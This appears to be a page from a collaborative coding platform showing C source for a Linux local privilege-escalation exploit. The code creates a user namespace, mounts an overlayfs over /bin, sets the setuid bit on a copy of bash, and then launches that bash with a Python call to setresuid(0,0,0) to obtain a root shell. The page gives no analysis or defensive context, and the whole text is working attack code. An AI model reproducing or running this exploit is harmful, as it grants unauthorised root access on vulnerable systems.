Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
#include <stdio.h>
2
#include <sched.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5
#include <sched.h>
6
#include <sys/stat.h>
7
#include <sys/types.h>
8
#include <sys/mount.h>
9
#include <sys/types.h>
10
#include <signal.h>
11
#include <fcntl.h>
12
#include <string.h>
13
#include <linux/sched.h>
14
#include <sys/wait.h>
15

16
static char child_stack[1024*1024];
17

18
static int
19
child_exec(void *stuff)
20
{
21
    system("rm -rf /tmp/haxhax");
22
    mkdir("/tmp/haxhax", 0777);
23
    mkdir("/tmp/haxhax/w", 0777);
24
    mkdir("/tmp/haxhax/u",0777);
25
    mkdir("/tmp/haxhax/o",0777);
26

27
    if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
28
  fprintf(stderr,"mount failed..\n");
29
    }
30

31
    chmod("/tmp/haxhax/w/work",0777);
32
    chdir("/tmp/haxhax/o");
33
    chmod("bash",04755);
34
    chdir("/");
35
    umount("/tmp/haxhax/o");
36
    return 0;
37
}
38

39
int
40
main(int argc, char **argv)
41
{
42
    int status;
43
    pid_t wrapper, init;
44
    int clone_flags = CLONE_NEWNS | SIGCHLD;
45
    struct stat s;
46

47
    if((wrapper = fork()) == 0) {
48
        if(unshare(CLONE_NEWUSER) != 0)
49
            fprintf(stderr, "failed to create new user namespace\n");
50

51
        if((init = fork()) == 0) {
52
            pid_t pid =
53
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
54
            if(pid < 0) {
55
                fprintf(stderr, "failed to create new mount namespace\n");
56
                exit(-1);
57
            }
58

59
            waitpid(pid, &status, 0);
60

61
        }
62

63
        waitpid(init, &status, 0);
64
        return 0;
65
    }
66

67
    usleep(300000);
68

69
    wait(NULL);
70

71
    stat("/tmp/haxhax/u/bash",&s);
72

73
    if(s.st_mode == 0x89ed)
74
        execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
75

76
    fprintf(stderr,"couldn't create suid :(\n");
77
    return -1;
78
}
79

80